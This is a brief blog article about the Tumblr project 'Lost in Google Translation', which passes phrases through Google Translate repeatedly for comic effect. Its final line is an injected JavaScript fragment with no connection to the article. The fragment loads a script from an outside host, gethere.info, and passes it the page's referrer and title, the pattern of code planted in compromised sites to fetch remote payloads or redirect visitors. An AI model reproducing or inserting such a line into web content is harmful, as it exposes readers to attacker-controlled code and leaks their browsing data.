Google tools are lauded for their accuracy and reliability but a new Tumblr blog called Lost in Google Translation evaluates the effectiveness of Google Translate by repeatedly translating a phrase through the tool resulting in funny outcomes.
Google Translate speedily translates whatever you feed into it. Google Translate broadens your language capabilities by translating a sentence in a given language to a known language or a language of preference. It can sometimes give very accurate conclusions or give a bumbling, amateurish conversion of the given text. It also combines with Google Chrome to translate complete websites so that we don’t click on the wrong links on porn sites.
Daniel Ieraci and Simon Friedlander decided to put Google Translate to the test by converting a single phrase in different languages only to translate it back to the original language. The conclusions are interesting and funny even if on a mild scale.
This experiment called Lost in Google Translation is inspired by Chinese whispers. The meaning of Chinese whispers is thus: When a story is told from person to person, especially if it is gossip or scandal, it inevitably gets distorted and exaggerated. (This was found using Google search engine.) This same principle applies to Lost in Google Translation as the original message loses its meaning when it’s passed over and over again through Google Translate.
Lost in Google Translation reminds me of the hilarious Google Maps’ directions feature where one has to swim 1000 metres or cross the English Channel to reach a destination. The fact of the matter is that Google tools tend to work by the book; it will still take time for Google tools to be perfect. For now, we can see these near perfect tools make a fool of them!
s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;